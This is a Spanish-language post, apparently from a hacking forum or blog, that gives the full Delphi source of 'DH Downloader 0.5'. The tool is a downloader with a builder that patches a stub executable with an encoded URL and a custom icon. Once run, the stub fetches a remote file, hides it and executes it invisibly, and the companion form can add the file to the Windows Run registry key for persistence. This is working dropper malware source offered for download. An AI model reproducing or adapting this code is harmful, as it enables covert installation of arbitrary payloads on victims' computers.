Un simple programa en Delphi para bajar archivos con las siguientes opciones :
- Se puede cambiar el nombre del archivo descargado
- Se puede guardar en la carpeta que quieran
- Se puede ocultar el archivo
- Hace que el archivo se inicie cada vez que carga Windows
- Se puede cargar oculto o normal
- Tambien hice un generador en el que esta pensado para poner un link de descarga directa como dropbox para bajar un server en el cual tambien se le puede cambiar el icono.
Unas imagenes :
(http://doddyhackman.webcindario.com/images/down_menu.jpg)
(http://doddyhackman.webcindario.com/images/down_usb.jpg)
(http://doddyhackman.webcindario.com/images/down_down.jpg)
El codigo.
El form principal.
// DH Downloader 0.5
// (C) Doddy Hackman 2013
unit dh;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, acPNG, ExtCtrls, sSkinManager, StdCtrls, sGroupBox, sButton;
type
TForm1 = class(TForm)
sSkinManager1: TsSkinManager;
Image1: TImage;
sGroupBox1: TsGroupBox;
sButton1: TsButton;
sButton2: TsButton;
sButton3: TsButton;
sButton4: TsButton;
procedure sButton3Click(Sender: TObject);
procedure sButton4Click(Sender: TObject);
procedure sButton1Click(Sender: TObject);
procedure sButton2Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
uses about, usbmode, generate;
{$R *.dfm}
procedure TForm1.FormCreate(Sender: TObject);
begin
sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
sSkinManager1.SkinName := 'neonnight';
sSkinManager1.Active := True;
end;
procedure TForm1.sButton1Click(Sender: TObject);
begin
Form3.Show;
end;
procedure TForm1.sButton2Click(Sender: TObject);
begin
Form4.Show;
end;
procedure TForm1.sButton3Click(Sender: TObject);
begin
Form2.Show;
end;
procedure TForm1.sButton4Click(Sender: TObject);
begin
Form1.Close;
end;
end.
// The End ?
El USB Mode.
// DH Downloader 0.5
// (C) Doddy Hackman 2013
unit usbmode;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, acPNG, ExtCtrls, ComCtrls, sStatusBar, StdCtrls, sGroupBox, sEdit,
sLabel, sCheckBox, sRadioButton, sButton, acProgressBar, IdBaseComponent,
IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, Registry, ShellApi;
type
TForm3 = class(TForm)
Image1: TImage;
sStatusBar1: TsStatusBar;
sGroupBox1: TsGroupBox;
sGroupBox2: TsGroupBox;
sEdit1: TsEdit;
sGroupBox3: TsGroupBox;
sCheckBox1: TsCheckBox;
sEdit2: TsEdit;
sCheckBox2: TsCheckBox;
sEdit3: TsEdit;
sCheckBox3: TsCheckBox;
sCheckBox4: TsCheckBox;
sCheckBox5: TsCheckBox;
sRadioButton1: TsRadioButton;
sRadioButton2: TsRadioButton;
sGroupBox4: TsGroupBox;
sButton1: TsButton;
sProgressBar1: TsProgressBar;
IdHTTP1: TIdHTTP;
procedure sButton1Click(Sender: TObject);
procedure IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode;
AWorkCount: Int64);
procedure IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
AWorkCountMax: Int64);
procedure IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form3: TForm3;
implementation
uses about, dh;
{$R *.dfm}
// Functions
function getfilename(archivo: string): string;
var
test: TStrings;
begin
test := TStringList.Create;
test.Delimiter := '/';
test.DelimitedText := archivo;
Result := test[test.Count - 1];
test.Free;
end;
//
procedure TForm3.FormCreate(Sender: TObject);
begin
sProgressBar1.Position := 0;
end;
procedure TForm3.IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode;
AWorkCount: Int64);
begin
sProgressBar1.Position := AWorkCount;
sStatusBar1.Panels[0].Text := '[+] Downloading ...';
sStatusBar1.Update;
end;
procedure TForm3.IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
AWorkCountMax: Int64);
begin
sProgressBar1.Max := AWorkCountMax;
sStatusBar1.Panels[0].Text := '[+] Starting download ...';
sStatusBar1.Update;
end;
procedure TForm3.IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
begin
sProgressBar1.Position := 0;
end;
procedure TForm3.sButton1Click(Sender: TObject);
var
filename: string;
nombrefinal: string;
addnow: TRegistry;
archivobajado: TFileStream;
begin
if not sCheckBox1.Checked then
begin
filename := sEdit1.Text;
nombrefinal := getfilename(filename);
end
else
begin
nombrefinal := sEdit2.Text;
end;
archivobajado := TFileStream.Create(nombrefinal, fmCreate);
try
begin
DeleteFile(nombrefinal);
IdHTTP1.Get(sEdit1.Text, archivobajado);
sStatusBar1.Panels[0].Text := '[+] File Dowloaded';
sStatusBar1.Update;
archivobajado.Free;
end;
except
sStatusBar1.Panels[0].Text := '[-] Failed download';
sStatusBar1.Update;
archivobajado.Free;
Abort;
end;
if FileExists(nombrefinal) then
begin
if sCheckBox2.Checked then
begin
if not DirectoryExists(sEdit3.Text) then
begin
CreateDir(sEdit3.Text);
end;
MoveFile(Pchar(nombrefinal), Pchar(sEdit3.Text + '/' + nombrefinal));
sStatusBar1.Panels[0].Text := '[+] File Moved';
sStatusBar1.Update;
end;
if sCheckBox3.Checked then
begin
SetFileAttributes(Pchar(sEdit3.Text), FILE_ATTRIBUTE_HIDDEN);
if sCheckBox2.Checked then
begin
SetFileAttributes(Pchar(sEdit3.Text + '/' + nombrefinal),
FILE_ATTRIBUTE_HIDDEN);
sStatusBar1.Panels[0].Text := '[+] File Hidden';
sStatusBar1.Update;
end
else
begin
SetFileAttributes(Pchar(nombrefinal), FILE_ATTRIBUTE_HIDDEN);
sStatusBar1.Panels[0].Text := '[+] File Hidden';
sStatusBar1.Update;
end;
end;
if sCheckBox4.Checked then
begin
addnow := TRegistry.Create;
addnow.RootKey := HKEY_LOCAL_MACHINE;
addnow.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', FALSE);
if sCheckBox2.Checked then
begin
addnow.WriteString('uber', sEdit3.Text + '/' + nombrefinal);
end
else
begin
addnow.WriteString('uber', ExtractFilePath(Application.ExeName)
+ '/' + nombrefinal);
end;
sStatusBar1.Panels[0].Text := '[+] Registry Updated';
sStatusBar1.Update;
addnow.Free;
end;
if sCheckBox5.Checked then
begin
if sRadioButton1.Checked then
begin
if sCheckBox2.Checked then
begin
ShellExecute(Handle, 'open', Pchar(sEdit3.Text + '/' + nombrefinal),
nil, nil, SW_SHOWNORMAL);
end
else
begin
ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil,
SW_SHOWNORMAL);
end;
end
else
begin
if sCheckBox2.Checked then
begin
ShellExecute(Handle, 'open', Pchar(sEdit3.Text + '/' + nombrefinal),
nil, nil, SW_HIDE);
end
else
begin
ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil, SW_HIDE);
end;
end;
end;
if sCheckBox1.Checked or sCheckBox2.Checked or sCheckBox3.Checked or
sCheckBox4.Checked or sCheckBox5.Checked then
begin
sStatusBar1.Panels[0].Text := '[+] Finished';
sStatusBar1.Update;
end;
end;
end;
end.
// The End ?
El generador.
// DH Downloader 0.5
// (C) Doddy Hackman 2013
unit generate;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, acPNG, ExtCtrls, StdCtrls, sGroupBox, sEdit, ComCtrls, sStatusBar,
sButton, sCheckBox, sComboBox, sRadioButton, madRes, sPageControl;
type
TForm4 = class(TForm)
Image1: TImage;
sStatusBar1: TsStatusBar;
OpenDialog1: TOpenDialog;
sPageControl1: TsPageControl;
sTabSheet1: TsTabSheet;
sTabSheet2: TsTabSheet;
sTabSheet3: TsTabSheet;
sGroupBox1: TsGroupBox;
sGroupBox2: TsGroupBox;
sEdit1: TsEdit;
sGroupBox3: TsGroupBox;
sEdit2: TsEdit;
sGroupBox4: TsGroupBox;
sRadioButton1: TsRadioButton;
sRadioButton2: TsRadioButton;
sGroupBox5: TsGroupBox;
sGroupBox6: TsGroupBox;
sGroupBox7: TsGroupBox;
Image2: TImage;
sButton1: TsButton;
sGroupBox8: TsGroupBox;
sComboBox1: TsComboBox;
sGroupBox9: TsGroupBox;
sCheckBox1: TsCheckBox;
sEdit3: TsEdit;
sGroupBox10: TsGroupBox;
sButton2: TsButton;
procedure sButton1Click(Sender: TObject);
procedure sEdit2Click(Sender: TObject);
procedure sButton2Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form4: TForm4;
implementation
{$R *.dfm}
// Functions
function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
num: integer;
aca: string;
cantidad: integer;
begin
num := 0;
Result := '';
aca := '';
cantidad := 0;
if (opcion = 'encode') then
begin
cantidad := length(texto);
for num := 1 to cantidad do
begin
aca := IntToHex(ord(texto[num]), 2);
Result := Result + aca;
end;
end;
if (opcion = 'decode') then
begin
cantidad := length(texto);
for num := 1 to cantidad div 2 do
begin
aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
Result := Result + aca;
end;
end;
end;
function getfilename(archivo: string): string;
var
test: TStrings;
begin
test := TStringList.Create;
test.Delimiter := '/';
test.DelimitedText := archivo;
Result := test[test.Count - 1];
test.Free;
end;
//
procedure TForm4.FormCreate(Sender: TObject);
begin
OpenDialog1.InitialDir := GetCurrentDir;
OpenDialog1.Filter := 'ICO|*.ico|';
end;
procedure TForm4.sButton2Click(Sender: TObject);
var
linea: string;
aca: THandle;
code: Array [0 .. 9999 + 1] of Char;
nose: DWORD;
marca_uno: string;
marca_dos: string;
url: string;
opcionocultar: string;
savein: string;
lineafinal: string;
stubgenerado: string;
tipodecarga: string;
change: DWORD;
valor: string;
begin
url := sEdit1.Text;
stubgenerado := 'tiny_down.exe';
if (sRadioButton2.Checked = True) then
begin
tipodecarga := '1';
end
else
begin
tipodecarga := '0';
end;
if (sCheckBox1.Checked = True) then
begin
opcionocultar := '1';
end
else
begin
opcionocultar := '0';
end;
if (sComboBox1.Items[sComboBox1.ItemIndex] = '') then
begin
savein := 'USERPROFILE';
end
else
begin
savein := sComboBox1.Items[sComboBox1.ItemIndex];
end;
lineafinal := '[link]' + url + '[link]' + '[opcion]' + opcionocultar +
'[opcion]' + '[path]' + savein + '[path]' + '[name]' + sEdit2.Text +
'[name]' + '[carga]' + tipodecarga + '[carga]';
marca_uno := '[63686175]' + dhencode(lineafinal, 'encode') + '[63686175]';
aca := INVALID_HANDLE_VALUE;
nose := 0;
DeleteFile(stubgenerado);
CopyFile(PChar(ExtractFilePath(Application.ExeName)
+ '/' + 'Data/stub_down.exe'), PChar
(ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True);
linea := marca_uno;
StrCopy(code, PChar(linea));
aca := CreateFile(PChar(stubgenerado), GENERIC_WRITE, FILE_SHARE_READ, nil,
OPEN_EXISTING, 0, 0);
if (aca <> INVALID_HANDLE_VALUE) then
begin
SetFilePointer(aca, 0, nil, FILE_END);
WriteFile(aca, code, 9999, nose, nil);
CloseHandle(aca);
end;
//
if not(sEdit3.Text = '') then
begin
try
begin
valor := IntToStr(128);
change := BeginUpdateResourceW
(PWideChar(wideString(ExtractFilePath(Application.ExeName)
+ '/' + stubgenerado)), False);
LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
PWideChar(wideString(sEdit3.Text)));
EndUpdateResourceW(change, False);
sStatusBar1.Panels[0].Text := '[+] Done ';
sStatusBar1.Update;
end;
except
begin
sStatusBar1.Panels[0].Text := '[-] Error';
sStatusBar1.Update;
end;
end;
end
else
begin
sStatusBar1.Panels[0].Text := '[+] Done ';
sStatusBar1.Update;
end;
//
end;
procedure TForm4.sButton1Click(Sender: TObject);
begin
if OpenDialog1.Execute then
begin
Image2.Picture.LoadFromFile(OpenDialog1.FileName);
sEdit3.Text := OpenDialog1.FileName;
end;
end;
procedure TForm4.sEdit2Click(Sender: TObject);
begin
if not(sEdit1.Text = '') then
begin
sEdit2.Text := getfilename(sEdit1.Text);
end;
end;
end.
// The End ?
El stub
// DH Downloader 0.5
// (C) Doddy Hackman 2013
// Stub
program stub_down;
// {$APPTYPE CONSOLE}
uses
SysUtils, Windows, URLMon, ShellApi;
// Functions
function regex(text: String; deaca: String; hastaaca: String): String;
begin
Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
SetLength(text, AnsiPos(hastaaca, text) - 1);
Result := text;
end;
function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
num: integer;
aca: string;
cantidad: integer;
begin
num := 0;
Result := '';
aca := '';
cantidad := 0;
if (opcion = 'encode') then
begin
cantidad := Length(texto);
for num := 1 to cantidad do
begin
aca := IntToHex(ord(texto[num]), 2);
Result := Result + aca;
end;
end;
if (opcion = 'decode') then
begin
cantidad := Length(texto);
for num := 1 to cantidad div 2 do
begin
aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
Result := Result + aca;
end;
end;
end;
//
var
ob: THandle;
code: Array [0 .. 9999 + 1] of Char;
nose: DWORD;
link: string;
todo: string;
opcion: string;
path: string;
nombre: string;
rutafinal: string;
tipodecarga: string;
begin
try
ob := INVALID_HANDLE_VALUE;
code := '';
ob := CreateFile(pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
OPEN_EXISTING, 0, 0);
if (ob <> INVALID_HANDLE_VALUE) then
begin
SetFilePointer(ob, -9999, nil, FILE_END);
ReadFile(ob, code, 9999, nose, nil);
CloseHandle(ob);
end;
todo := regex(code, '[63686175]', '[63686175]');
todo := dhencode(todo, 'decode');
link := regex(todo, '[link]', '[link]');
opcion := regex(todo, '[opcion]', '[opcion]');
path := regex(todo, '[path]', '[path]');
nombre := regex(todo, '[name]', '[name]');
tipodecarga := regex(todo, '[carga]', '[carga]');
rutafinal := GetEnvironmentVariable(path) + '/' + nombre;
try
begin
UrlDownloadToFile(nil, pchar(link), pchar(rutafinal), 0, nil);
if (FileExists(rutafinal)) then
begin
if (opcion = '1') then
begin
SetFileAttributes(pchar(rutafinal), FILE_ATTRIBUTE_HIDDEN);
end;
if (tipodecarga = '1') then
begin
ShellExecute(0, 'open', pchar(rutafinal), nil, nil, SW_HIDE);
end
else
begin
ShellExecute(0, 'open', pchar(rutafinal), nil, nil, SW_SHOWNORMAL);
end;
end;
end;
except
//
end;
except
//
end;
end.
// The End ?
Si lo quieren bajar lo pueden hacer de aca (https://sourceforge.net/projects/dhdownloader/).